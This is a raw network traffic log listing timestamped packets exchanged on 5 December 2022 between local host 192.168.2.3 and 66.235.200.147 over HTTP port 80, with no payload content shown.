Dec 5, 2022 06:44:36.468535900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468535900 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468554974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468556881 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468566895 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468574047 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468590975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468595028 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468609095 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468611956 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468627930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468630075 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468645096 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468647003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468666077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468667984 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468678951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468684912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468702078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468720913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468724966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468739033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468748093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468758106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468775034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468789101 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468794107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468812943 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468822002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468831062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468843937 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468874931 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468897104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468914986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468934059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468941927 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468955994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468966007 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468976974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.468986988 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.468996048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469002962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469014883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469026089 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469033003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469052076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469053984 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469070911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469075918 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469090939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469101906 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469110012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469126940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469127893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469146967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469151974 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469165087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469177008 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469182968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469194889 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469203949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469213963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469223976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469235897 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469243050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469253063 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469261885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469270945 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469280005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469286919 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469300032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469301939 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469317913 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469319105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469338894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469338894 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469358921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469377041 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469378948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469378948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469397068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469403982 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469415903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469434977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469445944 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469445944 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469454050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469468117 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469472885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469480038 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469492912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469499111 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469511986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469516039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469530106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469532013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469549894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469552994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469568968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469568968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469587088 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469588041 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469608068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469625950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469628096 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469645023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469662905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469665051 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469681025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469682932 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469700098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469707966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469718933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469727039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469738960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469747066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469757080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469765902 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469775915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469789982 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469794989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469813108 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469819069 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469832897 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469844103 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469851971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469870090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469870090 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469890118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469896078 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469908953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469917059 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469927073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469933987 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469945908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469950914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469969034 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.469973087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469993114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.469997883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470010996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470014095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470031023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470038891 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470050097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470058918 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470068932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470077038 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470088005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470096111 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470105886 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470108032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470120907 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470129013 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470149040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470153093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470168114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470185041 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470186949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470206022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470208883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470225096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470232010 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470244884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470251083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470263958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470269918 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470280886 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470283985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470303059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470305920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470321894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470321894 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470340967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470350027 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470357895 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470360041 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470380068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470383883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470398903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470402002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470412016 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470418930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470439911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470439911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470457077 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470460892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470480919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470498085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470499992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470520020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470531940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470537901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470557928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470557928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470577002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470585108 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470596075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470613956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470623016 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470632076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470645905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470650911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470670938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470673084 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470690012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470696926 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470709085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470721006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470727921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470738888 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470746994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470755100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470767975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470771074 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470784903 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470787048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470805883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470805883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470824957 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470825911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470843077 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470844984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470865011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470870018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470891953 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470892906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470911980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470917940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470932007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470932961 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470948935 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470952034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470971107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.470973015 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470983982 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.470990896 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471010923 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471029997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471031904 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471049070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471056938 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471069098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471081018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471087933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471097946 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471107006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471117973 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471124887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471127987 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471144915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471147060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471163988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471164942 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471183062 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471183062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471203089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471206903 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471220970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471225023 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471239090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471240997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471257925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471257925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471273899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471276999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471297026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471297026 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471314907 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471314907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471333981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471334934 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471352100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471353054 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471368074 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471371889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471390963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471390963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471410990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471414089 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471431971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471432924 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471442938 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471452951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471470118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471487999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471493006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471507072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471517086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471525908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471543074 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471544027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471563101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471564054 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471580982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471591949 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471599102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471615076 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471617937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471637964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471642017 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471657038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471663952 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471674919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471692085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471693039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471714020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471724987 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471724987 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471731901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471743107 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471751928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471759081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471771002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471779108 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471790075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471797943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471807957 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471811056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471827030 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471828938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471842051 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471848011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471868038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471868038 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471878052 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471884966 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471904039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471920967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471926928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471940994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471951008 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471959114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471976995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.471976995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.471995115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472001076 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472013950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472024918 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472032070 CET	80	49704	66.235.200.147	192.168.2.3
